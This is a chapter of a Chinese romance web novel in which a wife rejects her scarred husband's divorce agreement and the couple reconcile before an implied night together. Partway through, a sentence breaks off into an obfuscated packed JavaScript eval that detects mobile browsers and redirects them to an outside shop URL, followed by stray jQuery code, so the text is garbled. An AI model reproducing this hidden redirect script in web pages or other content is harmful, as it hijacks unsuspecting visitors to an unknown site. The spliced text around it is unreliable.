龙念菲不知道自己是怎么回到房间的。
门在身后关上的那一刻，她的腿软了，顺着门板滑下去，坐在了地上。她双手抱住自己的膝盖，把脸埋在臂弯里，深深地呼出一口气。
浴室里的画面在她脑海里不停地播放。水汽蒸腾，灯光昏黄，他从水雾中转过身来。
龙念菲没有害怕。
她终于确定了一件事，从新婚夜他连卧室门都没进的那一天起，他就在用一堵墙把自己和她隔开。那堵墙不是冷漠、疏离，而是这些伤疤。是他藏在衣服下面，以为只要不被看到就能永远维持那个体面矜贵的傅先生的形象。
龙念菲把脸从臂弯里抬起来，她的眼泪不知道什么时候流了下来的。
此时此刻，龙念菲心疼他。
她终于理解了他所有的不要靠近，他其实是怕她看到这些之后会离开。他以为只要藏得够深，她就不会发现；只要推得够远，她就没机会嫌弃。
龙念菲闭上眼睛，眼泪顺着脸颊滑下来，滴在手背上。她知道傅迟州现在不想看到她，他需要时间，需要把那些被撕开的伤口重新包扎起来。
龙念菲从地上站起来，走到床边，躺了下来。月光从枕头移到了地板，又从地板移到了墙角。
一夜无梦。
***
第二天清晨，龙念菲下楼的时候，看到餐桌旁放着一张纸。
白纸黑字，“离婚协议”四个字映入她眼帘。
傅迟州坐在餐桌另一头，面前放着一杯黑咖啡。咖啡已经凉了，他没有喝。
他的头发梳得整齐，白衬衫，深色西裤，腕上的表扣得端端正正。一切如常，和每一个普通的早晨一模一样。
傅迟州脸上的表情冷淡疏离，把所有情绪都压在看不见的地方。
“签字吧。”他平静地说道，“财产分割按照婚前协议，我不会亏待你的。”
龙念菲站在楼梯口，手指攥着扶手，指节泛白。她看着他，看了很久。
傅迟州坐在那里，脊背挺直，目光落在桌面上，没有看她。他的手指搭在咖啡杯的杯沿上，像是在等待什么，又像是在害怕什么。
良久，龙念菲从楼梯上走了下来，胸腔起伏：“傅迟州，你凭什么替我做决定？”
男人的手指顿住了，他签了一半的名字，笔尖停在那里，黑色墨水在纸上洇开一个小小的圆点。
他猛地抬起头，对上的是她那带着薄怒的眼眸。
傅迟州没想到她会是这样的反应。
他以为她会哭，以为她会沉默，以为她会拿起笔，签下名字，然后头也不回地走掉。那是他最熟悉的剧本。
母亲走后，父亲娶了林韵然。他去挽留，但无济于事，后来他就不再说了。他不会处理“被留下”这件事，所以他总是在别人离开之前先离开。离婚协议是他先拿出来的，但他不是真的想让龙念菲走，而是怕她先走。
他怕她说“我们离婚吧”，怕她说“我不想过这样的日子了”，怕她说“你身上的疤好丑”。
所以他先提出来，拿出协议摆出无所谓的样子，再把自己伪装成一个无懈可击，不在乎任何人去留的傅迟州。
但此刻龙念菲站在他面前，打破了他所有的猜想。
龙念菲在傅迟州面前停了下来。他坐在椅子上，仰头看着她。晨光从窗户照进来，落在他的脸上，他眼底那层没来得及收回去的慌张被她尽收眼底。
他怕她接下来会说出那句话。
龙念菲毫不犹豫地伸出手，手指触到他衬衫的纽扣，然后直接解了开来。
傅迟州的身体绷紧了，他的衬衫的领口敞开，露出了锁骨。下一秒，他抓住龙念菲的手，力道很大。
“别——”
龙念菲没有停下，她挣开他的手，而后把自己的手按在了他的胸口，温热的掌心贴着他的皮肤。
那片最狰狞的疤痕，从锁骨下方一直延伸到腰腹。这是傅迟州第一次被另一个人用赤裸的手掌触碰。
“傅迟州，我是你的妻子。”她一字一句，认认真真地说，“妻子是不会嫌弃丈夫的。”
傅迟州看着她，眼尾发红。他伸出手，缓缓覆上她贴在他胸口的手。
他不想在她面前这样，但他已经没有力气再穿回去了。
“你看到了。”他哑声说。
龙念菲没有躲开他的目光：“对，我看到了。”
“你不怕？”
龙念菲低头看着她按在他胸口的手，看着那些疤痕在她的掌心下被压平的纹路。
她没有回答“不怕”，但她用行动回答了。
龙念菲的手指在他的疤痕上轻轻移动了一下。
“傅迟州，你有没有想过，也许你觉得丑的东西，在别人眼里不是那样的。”
他看着她：“那是哪样的？”
龙念菲想了想：“这恰恰是最好的证明。证明你没有放弃，证明你想救她，可你尽力了。这不是丑陋，这是你爱过她的证据。”
傅迟州坐在那里，此刻，心里那道撑了十几年的堤坝在她的掌心下裂开了一道缝。
这么多年来，他从来没有从这个角度去想过。
他以为那是惩罚，是那场火留给他的烙印，是他一辈子都洗不掉的罪证。但那些疤痕的存在本身就是他爱过她的证据。
傅迟州低下头看着龙念菲按在他胸口的那只手。
“龙念菲。”他闷声道。
“嗯。”
“你再说一遍。”
龙念菲看着他，又说了一遍：“这是你爱过她的证据。”
餐厅里安静了很久。王妈不知道什么时候已经把厨房的门关上了。立式座钟滴答滴答地走着，每一声都像是在提醒他们时间还在继续，世界还在运转。
傅迟州的目光落在她脸上，看了很久。
“昨天晚上，你走了之后，我在浴室里坐了很久。”
龙念菲坐到他的身边，垂在两侧的手指微微收紧了些。
“我等你敲门，等了很久。”傅迟州说，“我以为你会回来。”
龙念菲安静地看着他，心中有千言万语想对他说。
“可你却没有来。后来我想，你不来是对的，我应该给你些时间。”
龙念菲的声音有些抖：“其实我也怕你不想看到我。”
傅迟州问：“我不想看到你？”
“我当时都对我发脾气了，我想来也不敢啊。”
听到这话的傅迟州没忍住笑了笑：“昨天的事，我向你道歉，是我没控制好自己。”
龙念菲深吸一口气，目光从他的脸上移到他的胸口。
忽然，她问：“可以吗？”
傅迟州看着她的眼睛，有些疑惑，但很快他就反应过来她想要干什么。
“可以。”
龙念菲的指尖触到了他锁骨下方那道最长的疤痕。
傅迟州看她眼眶湿润了，喉结滚了滚：“你不觉得——”
他没有说完，就被龙念菲给打断了。
“不觉得。”她轻声说。
两人心照不宣地没再开口。
晨光从窗户漫进来，铺在餐桌上，龙念菲的手捧着他的脸，掌心贴着他下颌的胡茬，能感觉到他的咬肌微微动了一下。
“龙念菲。”
“嗯？”
“今晚，等我回来。”
龙念菲看着他，没听懂他话里的意思。
傅迟州的目光落在她红润的唇上，缓缓开口：“我们把昨晚没做完的事给做完。”
龙念菲的脸腾地红了，血液在那一瞬间加速。
“你——”龙念菲终于找回了自己的声音，却发现嗓音比自己预计的软了许多，“你白天不是有事吗？”
“嗯。”傅迟州说，“晚上，我回来之
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565951|203048||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
前——”
他的目光低下去，他看了几秒，然后目光移开。
“洗干净。”
说完，他便起身，拿起那杯凉透的咖啡喝了最后一口。
龙念菲坐在那里，看着他走向走廊的背影。
她这才后知后觉地反应过来，傅迟州这是在邀请她……
龙念菲坐在餐厅里一个人坐了很久，王妈从厨房探出头来，看了她一眼，又缩回去了，什么都没问。
不知道过了多久，她终于站了起来，把那杯凉透的咖啡端到厨房倒掉，把杯子放进洗碗机。
而后拿起餐桌上的离婚协议书，看了看。龙念菲本来想着把它给撕掉的，但最后还是折了起来，带回了她的房间里。
龙念菲回到自己的房间后，拿出手机一看。苏若梦三分钟前发了条消息。
她想了想，压住心中的兴奋回道：【等。】
苏若梦秒回：【！！！你要急死我！！！】
龙念菲没有回复，把手机扣在胸口，嘴角的笑意始终没有褪去。
***
白天过得格外漫长。
龙念菲去了公司，她的手指在键盘上敲，脑子却在别的地方。她想他此刻在做什么，在开什么会，面对什么人，说什么话。
下班的时候许妍开车来接她，经过那家炒货店的时候，龙念菲忽然说：“停一下。”
她下车，买了两袋糖炒栗子，随后坐回到车里，她把那袋栗子放在副驾驶座上，看了几秒，又拿起来，抱在怀里。
许妍从后视镜里看了她一眼，动了动嘴唇，还是没忍住。
“龙小姐，你今天不太一样。”
“哪里不一样？”
“……说不上来。”许妍的目光回到前方的路面，顿了一下，“像在等过年。”
龙念菲：“……”
好吧，其实她说对了。
回到老宅吃过饭后，她立马就去洗了个澡，随后她站在衣柜前犯起了难。睡衣她买过很多件，有丝质的、棉麻的、法兰绒的、真丝的。她在那里站了很久，手指从衣架上划过去。
苏若梦说过要穿好看一点，最终，龙念菲选了那件红色的丝质睡衣。领口不高不低，刚好露出一点线。
龙念菲躺到床上，被子拉到胸口，头发散在枕头上，她还特意把台灯调暗。
现在整个二楼只有她一个人。
龙念菲听着自己的心跳。咚咚咚，快得不像话。
这时，她听到了车的声音。
引擎的声响从巷口传来，越来越近，越来越清晰，很快车就在老宅门口停下，随即熄了火。
傅迟州的脚步声穿过院子，踏上台阶，正厅的门开合了一下。
她听到了他上楼的声音，他走到二楼，脚步声在走廊里移动，经过她的房间时没有停。
龙念菲的呼吸屏住了。
傅迟州走过去，推开了他自己的房门。
龙念菲紧张地把被子拉过头顶，脸埋在黑暗中。
片刻，脚步声又在她的门口停了下来。
龙念菲攥紧了被子边缘，心跳在胸腔里擂鼓一样响。门把手转动了一下，门被推开了。走廊的光从门缝里漏进来。
“念菲。”
龙念菲把被子从头顶拉下来，偏过头看着门口的方向。走廊的灯在他身后，把他的脸藏在阴影里，他的手上还拿着什么东西，但她看不清。
她清了清嗓子：“你洗好了？”
傅迟州：“嗯。”
他走了进来，轻轻地带上门。
房间里只剩下台灯那一小圈暖黄色的光晕，他把手里的东西放在床头柜上。
等龙念菲看清楚那是什么东西的时候，已经来不及收回目光了。
那盒超薄、加长款的避.孕.套就放在她面前。
此时，傅迟州挑眉道：“待会要带吗？还是说……”